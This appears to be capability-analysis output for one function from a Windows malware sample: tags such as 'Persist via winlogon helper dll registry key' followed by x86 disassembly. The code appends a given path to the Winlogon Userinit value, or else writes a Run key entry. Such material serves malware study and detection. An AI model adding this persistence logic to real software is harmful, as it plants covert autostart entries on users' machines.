Function at 0x10016150
Capabilities:
Persist via run registry key
Persist via winlogon helper dll registry key
Query or enumerate registry value
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
mov ebx, dword [ebp + 8]
push esi
mov eax, ebx
push edi
mov dword [ebp - 8], 0
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10016168
mov esi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
sub eax, edx
mov edi, eax
lea eax, [ebp - 4]
push eax
push 0x103
push 0
push str.softwaremicrosoftwindows_ntcurrentversionwinlogon
push 0x80000002
call esi
test eax, eax
jne 0x100162f5
mov edx, dword [ebp - 4]
mov esi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
lea ecx, [ebp - 8]
push ecx
push eax
push eax
push eax
push str.userinit
push edx
call esi
mov eax, dword [ebp - 8]
lea eax, [eax + edi + 3]
mov dword [ebp - 8], eax
test eax, eax
je 0x100162d8
lea edi, [eax + 0x13]
and edi, 0xfffffff0
push edi
push 8
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov ebx, eax
test ebx, ebx
je 0x100162d8
push edi
push 0
push ebx
call sub.MSVCRT.dll_memset
mov edx, dword [ebp - 4]
add esp, 0xc
lea ecx, [ebp - 8]
push ecx
push ebx
push 0
push 0
push str.userinit
push edx
call esi
mov eax, dword [ebp + 8]
push eax
push ebx
call dword [sym.imp.SHLWAPI.dll_StrStrIA]
test eax, eax
jne 0x100162b6
mov eax, ebx
lea edx, [eax + 1]
lea ebx, [ebx]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10016220
sub eax, edx
je 0x10016247
cmp byte [ebx + eax - 1], 0x2c
je 0x10016247
lea edi, [ebx - 1]
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x10016235
mov cx, word [0x1001d064]
mov word [edi], cx
mov eax, dword [ebp + 8]
mov esi, eax
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10016250
sub eax, esi
lea edi, [ebx - 1]
lea esp, [esp]
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x10016260
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [ebx - 1]
lea esp, [esp]
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x10016280
mov dx, word [0x1001d064]
mov eax, ebx
mov word [edi], dx
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10016297
sub eax, edx
inc eax
push eax
mov eax, dword [ebp - 4]
push ebx
push 1
push 0
push str.userinit
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov esi, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push ebx
push 0
call esi
push eax
call dword [sym.imp.KERNEL32.dll_HeapValidate]
test eax, eax
je 0x100162d8
push ebx
push 0
call esi
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegFlushKey]
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
lea eax, [ebp - 4]
push eax
push 0xf013f
push 0
push str.softwaremicrosoftwindowscurrentversion_run
push 0x80000001
call esi
test eax, eax
jne 0x10016348
mov eax, ebx
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10016315
mov ecx, dword [ebp - 4]
sub eax, edx
inc eax
push eax
push ebx
push 1
push 0
push str.userinit
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegFlushKey]
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4